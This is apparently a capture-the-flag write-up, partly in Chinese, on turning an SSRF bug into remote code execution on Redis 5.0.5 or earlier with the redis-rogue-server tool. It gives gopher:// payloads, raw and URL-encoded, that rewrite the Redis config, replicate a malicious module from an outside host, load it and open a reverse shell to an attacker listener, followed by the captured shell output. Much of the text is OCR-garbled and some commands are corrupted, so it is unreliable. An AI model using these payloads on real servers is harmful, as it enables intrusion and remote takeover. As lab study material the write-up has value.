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writeup

if( [ 'REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE_ );

}
if(isset( ["file'])){
file_put_contents( ["file'],"<?php echo 'redispass is root';exit();".

}
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(A exploit for Redis(<=5.0.5) RCE)

git clone https://github.com/n@b@dyCN/redis-rogue-server

midigkali:~/ssrf/redis-rogue-server$ python3 redis-rogue-server.py -h

ficopyright n@b@dy @ r3kapig
Usage: redis-rogue-server.py [options]

Options:
-h, —help
——rhost=REMOTE_HOS5T = L
—rport=REMOTE_PORT et redis port, default 6379
— lhost=L0OCAL_HOST roj ip
—lport=LOCAL_PORT rogue se listen port,
_FILE is M to load, default exp.so
bose Show full a stream
midi@kali:~/ssrf/redis-rogue-server$ li
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nc -lvvp 6379
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python3 redis-rogue-server.py --rhost 127.0.0.1 --lhost 4t™ip
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#: T kpayload

W E H3x

gopher://0.0.0.0:6379/_auth root

config set dir /tmp/

quit

RIS )G
gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dir%2520%252ftmp%252f%250aquit

gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 4MMip 21000

quit
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gopher://0.0.0.0:6379/_auth%2520root%250Aconfig%2520set%2520dbfilename%2520exp.s0%250Aslaveof%25208.8.8.8%252021
P00%256Aquit
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gopher://0.0.0.0:6379/_auth root

module load /tmp/exp.so

system.rev #FMip 6663

quit
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gopher://0.0.0.0:6379/_auth%2520root%250Amodule’%252010ad%2520/tmp/exp.s0%250Asystem.rev%25208.8.8.8%25206663%250

AR AT M YT 6663



& LAR5E R & # 2lshell

midigkali
listenin

8] 49961

boot
dev

home
lib
lib64
media
mnt

anmiqi

2%

HTRedisH SSRF I H
[ 54 4F 2020 % H4ISSRFMe


https://xz.aliyun.com/t/5665
https://blog.csdn.net/weixin_43610673/article/details/106457180

	Redis的RCE漏洞
	前言
	writeup
	参考


